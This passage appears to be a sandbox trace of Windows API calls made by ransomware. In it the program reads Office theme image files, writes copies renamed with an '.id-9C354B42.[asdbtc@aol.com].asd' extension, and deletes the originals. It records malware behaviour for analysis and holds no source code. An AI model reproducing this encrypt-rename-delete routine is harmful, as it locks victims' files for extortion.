4 [0053.230] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.230] lstrlenW (lpString=".xls") returned 4 [0053.230] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.230] lstrlenW (lpString=".xlsx") returned 5 [0053.231] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.231] lstrlenW (lpString=".ppt") returned 4 [0053.231] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.231] lstrlenW (lpString=".zip") returned 4 [0053.231] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.231] lstrlenW (lpString=".rar") returned 4 [0053.231] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.231] lstrlenW (lpString=".bz2") returned 4 [0053.231] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.231] lstrlenW (lpString=".7z") returned 3 [0053.231] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.231] lstrlenW (lpString=".dbf") returned 4 [0053.231] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.231] lstrlenW (lpString=".1cd") returned 4 [0053.231] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.231] lstrlenW (lpString=".jpg") returned 4 [0053.231] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.231] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.232] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.239] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1560) returned 1 [0053.239] CloseHandle (hObject=0x204) returned 1 [0053.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0053.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.239] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.239] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.692] GetLastError () returned 0x0 [0053.693] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x618, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x620, lpOverlapped=0x0) returned 1 [0053.711] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0053.711] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.711] SetEndOfFile (hFile=0x21c) returned 1 [0053.711] CloseHandle (hObject=0x21c) returned 1 [0053.711] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.711] SetEndOfFile (hFile=0x204) returned 1 [0053.712] CloseHandle (hObject=0x204) returned 1 [0053.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.713] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0053.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.713] lstrlenW (lpString=".doc") returned 4 [0053.713] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.713] lstrlenW (lpString=".docx") returned 5 [0053.713] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.713] lstrlenW (lpString=".pdf") returned 4 [0053.713] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.713] lstrlenW (lpString=".xls") returned 4 [0053.713] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.713] lstrlenW (lpString=".xlsx") returned 5 [0053.713] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.713] lstrlenW (lpString=".ppt") returned 4 [0053.713] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.713] lstrlenW (lpString=".zip") returned 4 [0053.713] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.713] lstrlenW (lpString=".rar") returned 4 [0053.713] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.713] lstrlenW (lpString=".bz2") returned 4 [0053.713] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.713] lstrlenW (lpString=".7z") returned 3 [0053.713] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.714] lstrlenW (lpString=".dbf") returned 4 [0053.714] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.714] lstrlenW (lpString=".1cd") returned 4 [0053.714] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.714] lstrlenW (lpString=".jpg") returned 4 [0053.714] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.714] lstrlenW (lpString=".doc") returned 4 [0053.714] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.714] lstrlenW (lpString=".docx") returned 5 [0053.714] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.714] lstrlenW (lpString=".pdf") returned 4 [0053.714] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.714] lstrlenW (lpString=".xls") returned 4 [0053.714] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.714] lstrlenW (lpString=".xlsx") returned 5 [0053.714] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.714] lstrlenW (lpString=".ppt") returned 4 [0053.714] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.714] lstrlenW (lpString=".zip") returned 4 [0053.714] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.715] lstrlenW (lpString=".rar") returned 4 [0053.715] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.715] lstrlenW (lpString=".bz2") returned 4 [0053.715] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.715] lstrlenW (lpString=".7z") returned 3 [0053.715] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.715] lstrlenW (lpString=".dbf") returned 4 [0053.715] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.715] lstrlenW (lpString=".1cd") returned 4 [0053.715] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0053.715] lstrlenW (lpString=".jpg") returned 4 [0053.715] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.715] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.715] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.716] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=945) returned 1 [0053.716] CloseHandle (hObject=0x204) returned 1 [0053.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0053.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.716] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.716] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.719] GetLastError () returned 0x0 [0053.719] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x3b1, lpOverlapped=0x0) returned 1 [0053.720] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0053.721] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0053.721] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.721] SetEndOfFile (hFile=0x21c) returned 1 [0053.721] CloseHandle (hObject=0x21c) returned 1 [0053.721] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.721] SetEndOfFile (hFile=0x204) returned 1 [0053.722] CloseHandle (hObject=0x204) returned 1 [0053.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.723] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0053.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.723] lstrlenW (lpString=".doc") returned 4 [0053.723] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.723] lstrlenW (lpString=".docx") returned 5 [0053.723] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.723] lstrlenW (lpString=".pdf") returned 4 [0053.723] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.723] lstrlenW (lpString=".xls") returned 4 [0053.723] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.723] lstrlenW (lpString=".xlsx") returned 5 [0053.723] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.723] lstrlenW (lpString=".ppt") returned 4 [0053.723] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.723] lstrlenW (lpString=".zip") returned 4 [0053.723] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.723] lstrlenW (lpString=".rar") returned 4 [0053.723] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.723] lstrlenW (lpString=".bz2") returned 4 [0053.723] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.723] lstrlenW (lpString=".7z") returned 3 [0053.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.723] lstrlenW (lpString=".dbf") returned 4 [0053.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.724] lstrlenW (lpString=".1cd") returned 4 [0053.724] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.724] lstrlenW (lpString=".jpg") returned 4 [0053.724] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.724] lstrlenW (lpString=".doc") returned 4 [0053.724] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.724] lstrlenW (lpString=".docx") returned 5 [0053.724] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.724] lstrlenW (lpString=".pdf") returned 4 [0053.724] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.724] lstrlenW (lpString=".xls") returned 4 [0053.724] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.724] lstrlenW (lpString=".xlsx") returned 5 [0053.724] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.724] lstrlenW (lpString=".ppt") returned 4 [0053.724] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.724] lstrlenW (lpString=".zip") returned 4 [0053.724] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.724] lstrlenW (lpString=".rar") returned 4 [0053.724] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.724] lstrlenW (lpString=".bz2") returned 4 [0053.724] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.724] lstrlenW (lpString=".7z") returned 3 [0053.724] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.724] lstrlenW (lpString=".dbf") returned 4 [0053.724] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.725] lstrlenW (lpString=".1cd") returned 4 [0053.725] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0053.725] lstrlenW (lpString=".jpg") returned 4 [0053.725] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.725] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.725] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.726] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=32607) returned 1 [0053.726] CloseHandle (hObject=0x204) returned 1 [0053.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0053.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.726] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.726] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.727] GetLastError () returned 0x0 [0053.727] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0053.934] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0053.936] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0053.936] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.936] SetEndOfFile (hFile=0x21c) returned 1 [0053.937] CloseHandle (hObject=0x21c) returned 1 [0053.937] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.937] SetEndOfFile (hFile=0x204) returned 1 [0053.938] CloseHandle (hObject=0x204) returned 1 [0053.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.939] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0053.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.939] lstrlenW (lpString=".doc") returned 4 [0053.939] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.939] lstrlenW (lpString=".docx") returned 5 [0053.939] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.939] lstrlenW (lpString=".pdf") returned 4 [0053.939] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.939] lstrlenW (lpString=".xls") returned 4 [0053.939] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.939] lstrlenW (lpString=".xlsx") returned 5 [0053.939] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.939] lstrlenW (lpString=".ppt") returned 4 [0053.939] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.939] lstrlenW (lpString=".zip") returned 4 [0053.939] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.939] lstrlenW (lpString=".rar") returned 4 [0053.940] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.940] lstrlenW (lpString=".bz2") returned 4 [0053.940] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.940] lstrlenW (lpString=".7z") returned 3 [0053.940] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.940] lstrlenW (lpString=".dbf") returned 4 [0053.940] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.940] lstrlenW (lpString=".1cd") returned 4 [0053.940] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.940] lstrlenW (lpString=".jpg") returned 4 [0053.940] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.940] lstrlenW (lpString=".doc") returned 4 [0053.940] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.940] lstrlenW (lpString=".docx") returned 5 [0053.940] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.940] lstrlenW (lpString=".pdf") returned 4 [0053.940] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.940] lstrlenW (lpString=".xls") returned 4 [0053.940] lstrcmpiW (lpString1=".xls", 